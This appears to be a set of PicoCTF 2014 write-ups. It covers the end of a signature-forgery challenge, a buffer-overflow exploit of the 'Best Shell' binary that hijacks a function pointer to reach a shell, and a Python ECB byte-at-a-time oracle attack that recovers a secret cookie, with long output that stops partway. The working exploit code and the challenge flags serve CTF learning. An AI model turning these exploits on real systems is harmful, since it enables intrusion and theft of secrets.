Please enter which file you'd like to read.
flag
arent_signature_forgeries_just_great

Reference

https://web.archive.org/web/20150315062111/http://www.imc.org/ietf-openpgp/mail-archive/msg06063.html

# PicoCTF 2k14 - Best Shell


$ cat best_shell.c 
...

typedef struct input_handler {
    char cmd[32];
    void (*handler)(char *);
} input_handler;

...

void rename_handler(char *arg){
    char *existing;
    char *new;

    if (arg == NULL){
        printf("usage: rename [cmd_name] [new_name]\n");
        return;
    }

    existing = strtok(arg, " ");
    new = strtok(NULL, "");

    if (new == NULL){
        printf("usage: rename [cmd_name] [new_name]\n");
        return;
    }

    input_handler *found = find_handler(existing);

    if (found != NULL){
        strcpy(found->cmd, new);
    }else{
        printf("No command found.\n");
    }
}

...

void shell_handler(char *arg){
    if (admin){
        gid_t gid = getegid();
        setresgid(gid, gid, gid);
        system("/bin/sh");
    }else{
        printf("You must be admin!\n");
    }
}

...
$ gdb ./best_shell 
(gdb) disassemble setup_handlers
   0x08048a14 <+0>: push   ebp
   0x08048a15 <+1>: mov    ebp,esp
   0x08048a17 <+3>: push   ebx
   0x08048a18 <+4>: mov    DWORD PTR ds:0x804b0e0,0x6c656873
   0x08048a22 <+14>: mov    DWORD PTR ds:0x804b0e4,0x6c
   0x08048a2c <+24>: mov    edx,0x804b0e8
   0x08048a31 <+29>: mov    ecx,0x0
   0x08048a36 <+34>: mov    eax,0x18
   0x08048a3b <+39>: and    eax,0xfffffffc
   0x08048a3e <+42>: mov    ebx,eax
   0x08048a40 <+44>: mov    eax,0x0
   0x08048a45 <+49>: mov    DWORD PTR [edx+eax*1],ecx
   0x08048a48 <+52>: add    eax,0x4
   0x08048a4b <+55>: cmp    eax,ebx
   0x08048a4d <+57>: jb     0x8048a45 <setup_handlers+49>
   0x08048a4f <+59>: add    edx,eax
   0x08048a51 <+61>: mov    DWORD PTR ds:0x804b100,0x80489c6

(gdb) x/10i 0x80489c6
   0x80489c6 <shell_handler>: push   ebp
   0x80489c7 <shell_handler+1>: mov    ebp,esp
   0x80489c9 <shell_handler+3>: sub    esp,0x28
   0x80489cc <shell_handler+6>: movzx  eax,BYTE PTR ds:0x804b085
   0x80489d3 <shell_handler+13>: test   al,al
   0x80489d5 <shell_handler+15>: je     0x8048a06 <shell_handler+64>
   0x80489d7 <shell_handler+17>: call   0x8048600 <getegid@plt>
   0x80489dc <shell_handler+22>: mov    DWORD PTR [ebp-0xc],eax
   0x80489df <shell_handler+25>: mov    eax,DWORD PTR [ebp-0xc]
   0x80489e2 <shell_handler+28>: mov    DWORD PTR [esp+0x8],eax

$ (python -c 'import struct; payload = "A"*32 + struct.pack("<I", 0x080489d7); print "rename shell " + payload + "\n" + payload'; cat) | ./best_shell
>> >> cat flag.txt
give_shell_was_useful

# PicoCTF 2k14 - Web Interception


# cat web_interception.py
import socket

host = 'vuln2014.picoctf.com'
port = 65414

def print_recvdata(data):
 for i in range(0, len(data), kl * 2):
  print '<<< ' + data[i:i + (kl * 2)]

def sendrecv(msg):
 s = socket.socket()
 s.connect((host, port))
 s.recv(1024)
 s.send(msg)
 data = s.recv(1024)
 s.close()
 return data

kl = 16  # key length
cdl = 80 # current data length

for i in range(1, 30):
 msg = 'aa' * i
 data = sendrecv(msg)[:-1]
 dl = len(data)/2 # data length
 if cdl < dl:
  print_recvdata(data)
  print 'Data    = ', dl
  print 'Get     = ', gl
  print 'Message = ', ml
  print 'Secret  = ', sl
  break
 else:
  gl = len('GET /')
  ml = len(msg)/2
  sl = dl - ml - gl # secret length
 print i

pad = sl + kl - gl

found = ''

for i in range(pad - 1, kl - gl, -1):
 msg = 'aa' * i
 print '>>> ' + msg + '..' * (pad - len(msg)/2)
 data = sendrecv(msg)[:-1]
 f = 0 # from block1
 t = (kl * 2) * (sl/kl + 1) # to block1 + #blocks(sl)
 key = data[f:t]
 #print_recvdata(data)
 for j in range(0, 256):
  h = format(j, '02x')
  nh = msg + found + h
  data = sendrecv(nh)[:-1]
  if data[f:t] == key:
   print '>>> ' + nh
   #print_recvdata(data)
   print 'found = \'' + chr(j) + '\''
   found += h
   break

print 'secret_data = \'' + found.decode('hex') + '\''

# python web_interception.py
1
2
3
4
5
6
7
8
9
10
11
<<< c2ede3651650defcac13ecd82b7b9e7b
<<< 7a7bc20c2692db821734385bfa01f1db
<<< 7bb2c562649b06c08ae178a597ba85d2
<<< c87adffd4197a50cdc4d47384db2b219
<<< 8e930fb9cdf30c3a2c914731545f9fb3
<<< 695e6035c5752aa0d133f436a7d4475f
Data    =  96
Get     =  5
Message =  11
Secret  =  64
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa..
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20
found = ' '
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa....
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa2048
found = 'H'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa......
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa204854
found = 'T'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa........
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454
found = 'T'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa..........
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa2048545450
found = 'P'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa............
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f
found = '/'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa..............
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f31
found = '1'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e
found = '.'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa..................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e31
found = '1'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa....................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d
'ound = '
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa......................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a
found = '
'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa........................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a43
found = 'C'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa..........................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f
found = 'o'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa............................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f
found = 'o'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa..............................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b
found = 'k'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69
found = 'i'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa..................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b6965
found = 'e'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa....................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a
found = ':'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa......................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20
found = ' '
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa........................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a2066
found = 'f'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa..........................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c
found = 'l'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa............................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61
found = 'a'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa..............................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c6167
found = 'g'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d
found = '='
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa..................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d63
found = 'c'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa....................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f
found = 'o'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa......................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e
found = 'n'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa........................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e67
found = 'g'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa..........................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e6772
found = 'r'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa............................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e677261
found = 'a'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa..............................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e67726174
found = 't'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa................................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e6772617473
found = 's'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa..................................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e67726174735f
found = '_'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa....................................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e67726174735f6f
found = 'o'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa......................................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e67726174735f6f6e
found = 'n'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa........................................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e67726174735f6f6e5f
found = '_'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa..........................................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e67726174735f6f6e5f79
found = 'y'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa............................................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e67726174735f6f6e5f796f
found = 'o'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa..............................................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e67726174735f6f6e5f796f75
found = 'u'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa................................................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e67726174735f6f6e5f796f7572
found = 'r'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa..................................................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e67726174735f6f6e5f796f75725f
found = '_'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa....................................................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e67726174735f6f6e5f796f75725f66
found = 'f'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa......................................................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e67726174735f6f6e5f796f75725f6669
found = 'i'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa........................................................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e67726174735f6f6e5f796f75725f666972
found = 'r'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa..........................................................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e67726174735f6f6e5f796f75725f66697273
found = 's'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa............................................................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e67726174735f6f6e5f796f75725f6669727374
found = 't'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa..............................................................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e67726174735f6f6e5f796f75725f66697273745f
found = '_'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa................................................................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e67726174735f6f6e5f796f75725f66697273745f65
found = 'e'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa..................................................................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e67726174735f6f6e5f796f75725f66697273745f6563
found = 'c'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa....................................................................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e67726174735f6f6e5f796f75725f66697273745f656362
found = 'b'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa......................................................................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e67726174735f6f6e5f796f75725f66697273745f6563625f
found = '_'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa........................................................................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e67726174735f6f6e5f796f75725f66697273745f6563625f64
found = 'd'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa..........................................................................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e67726174735f6f6e5f796f75725f66697273745f6563625f6465
